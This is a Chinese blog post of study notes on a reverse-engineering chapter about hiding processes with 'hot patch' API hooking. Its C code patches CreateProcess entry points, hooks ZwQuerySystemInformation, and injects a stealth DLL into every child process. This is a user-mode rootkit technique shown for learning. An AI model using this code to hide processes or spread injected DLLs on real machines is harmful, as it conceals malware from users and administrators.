• 第33章:隐藏进程-API代码修改技术(下)


    前面的方法会频繁的进行脱钩和挂钩操作,并且在多线程环境中容易导致代码错误.因此使用 "热补丁" 技术就很必要了.

    热补丁(Hot Patch/Fix ) 又称为7字节代码修改技术.

    可以看到,前面七个字节并无实际意义.微软使用这种方法就是为了方便在不关机的情况下临时修改库文件,重启时修改的目标库文件会被完全替代.

    前五个字节可以被用来当作远跳转 jmp( E9 ) xxxxxxxx ,后两个字节被用作 短跳转 jmp( EB ) xxxx .

    此种方法可以尽可能的减少对有效代码的修改,使得当线程在修改时,另一个线程仍能正常得执行代码.

    只需要在上一节的代码中添加这些代码即可.

    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        char            szCurProc[MAX_PATH] = {0,};
        char            *p = NULL;
    
        GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
        p = strrchr(szCurProc, '\');
        if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
            return TRUE;
    
        // change privilege
        SetPrivilege(SE_DEBUG_NAME, TRUE);
    
        switch( fdwReason )
        {
            case DLL_PROCESS_ATTACH : 
                // hook
                hook_by_hotpatch("kernel32.dll", "CreateProcessA", 
                                 (PROC)NewCreateProcessA);
                hook_by_hotpatch("kernel32.dll", "CreateProcessW", 
                                 (PROC)NewCreateProcessW);
                hook_by_code("ntdll.dll", "ZwQuerySystemInformation", 
                             (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI); //注意此处,使用的是5字节的代码修改技术
                break;                               // 因为它不像其它 API 被很多进程所使用.
    
            case DLL_PROCESS_DETACH :
                // unhook
                unhook_by_hotpatch("kernel32.dll", "CreateProcessA");
                unhook_by_hotpatch("kernel32.dll", "CreateProcessW");
                unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", 
                               g_pOrgZwQSI);
                break;
        }
    
        return TRUE;
    }
    BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName)   //脱钩
    {
        FARPROC pFunc;
        DWORD dwOldProtect;
        PBYTE pByte;
        BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 };       //nop *5
        BYTE pBuf2[2] = { 0x8B, 0xFF };              // mov edi,edi
    
    
        pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
        if( pByte[0] != 0xEB )
            return FALSE;
    
        VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);     //修改节区5个字节的属性.
    
        // 1. NOP (0x90)
        memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
        
        // 2. MOV EDI, EDI (0x8BFF)
        memcpy(pFunc, pBuf2, 2);
    
        VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew)   //上钩
    {
        FARPROC pFunc;
        DWORD dwOldProtect, dwAddress;
        BYTE pBuf[5] = { 0xE9, 0, };
        BYTE pBuf2[2] = { 0xEB, 0xF9 };
        PBYTE pByte;
    
        pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
        if( pByte[0] == 0xEB )
            return FALSE;
    
        VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);  //修改7个字节的属性
    
        // 1. NOP (0x90)
        dwAddress = (DWORD)pfnNew - (DWORD)pFunc;   //不用减去本条指令的长度,因为 pFunc 本身就多了5字节
        memcpy(&pBuf[1], &dwAddress, 4);
        memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);    //写入相应地址.// 2. MOV EDI, EDI (0x8BFF)
        memcpy(pFunc, pBuf2, 2);    //短跳转,相距本条指令的下一条指令7字节
    
        VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);  //恢复属性
    
        return TRUE;
    }
    BOOL WINAPI NewCreateProcessA(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
    )
    {
        BOOL bRet;
        FARPROC pFunc;
    
        // original API 调用
        pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
        pFunc = (FARPROC)((DWORD)pFunc + 2);
        bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,    // ASCII 和 Unicode 的函数版本只有这里不一样.
                                         lpCommandLine,
                                         lpProcessAttributes,
                                         lpThreadAttributes,
                                         bInheritHandles,
                                         dwCreationFlags,
                                         lpEnvironment,
                                         lpCurrentDirectory,
                                         lpStartupInfo,
                                         lpProcessInformation);
    
        // 向生成的子进程注入 stealth2.dll
        if( bRet )
            InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
    
        return bRet;
    }

    值得注意的是: 

    ①并非所有的 API 都支持这个技术.

    ② ntdll.dll 的 API 代码都比较短,且内部代码地址无依赖性,因此可以将原 API 备份到用户内存区域,然后使用5字节修改技术,修改原 API 的起始部分,使其跳转到备份的 API 执行代码.

  • 相关阅读:
    Redis
    Maven总结
    spring知识点总结
    网上好文搜集整理
    python 代码删除空目录
    plantUML使用指南
    python的基础操作
    八卦基础编程学习
    python历年入坑记录大全
    python实现的百度云自动下载
  • 原文地址:https://www.cnblogs.com/Rev-omi/p/13448713.html
Copyright © 2020-2023  润新知